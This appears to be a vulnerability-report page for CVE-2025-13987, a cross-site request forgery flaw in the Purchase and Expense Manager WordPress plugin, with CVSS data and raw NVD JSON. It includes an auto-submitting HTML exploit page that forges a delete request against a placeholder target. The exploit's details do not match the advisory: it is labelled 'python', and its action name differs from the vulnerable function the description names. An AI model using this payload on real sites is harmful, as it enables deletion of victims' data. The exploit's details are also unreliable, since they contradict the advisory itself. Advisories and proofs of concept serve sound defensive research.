Security Vulnerability Report
中文
CVE-2025-13987 CVSS 4.3 MEDIUM

CVE-2025-13987

Published: 2025-12-12 04:15:46
Last Modified: 2026-04-15 00:35:42

Description

The Purchase and Expense Manager plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.2. This is due to missing nonce validation on the 'sup_pt_handle_deletion' function. This makes it possible for unauthenticated attackers to delete arbitrary purchase records via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Purchase and Expense Manager插件 <= 1.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-13987 --> <!-- Purchase and Expense Manager < 1.1.2 - CSRF to Delete Arbitrary Purchase Records --> <!DOCTYPE html> <html> <head> <title>CSRF Attack - CVE-2025-13987</title> </head> <body> <h1>CSRF PoC for Purchase and Expense Manager</h1> <p>Click the button below to delete purchase record with ID=1</p> <form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrfForm"> <input type="hidden" name="action" value="sup_pt_delete_purchase"> <input type="hidden" name="purchase_id" value="1"> <!-- Missing nonce field - this is the vulnerability --> <button type="submit">Click Me</button> </form> <script> // Auto-submit form when page loads document.getElementById('csrfForm').submit(); </script> <!-- Alternative: Hidden image tag for automatic request --> <!-- <img src="http://target-site.com/wp-admin/admin-ajax.php?action=sup_pt_delete_purchase&purchase_id=1" style="display:none"> --> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13987", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:45.527", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Purchase and Expense Manager plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.2. This is due to missing nonce validation on the 'sup_pt_handle_deletion' function. This makes it possible for unauthenticated attackers to delete arbitrary purchase records via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/purchase-and-expense-manager/tags/1.1.2/purchase-and-expense-manager.php#L604", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/purchase-and-expense-manager/trunk/purchase-and-expense-manager.php#L604", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c9826506-2292-44a7-9564-832e54bf4fba?source=cve", "source": "[email protected]"}]}}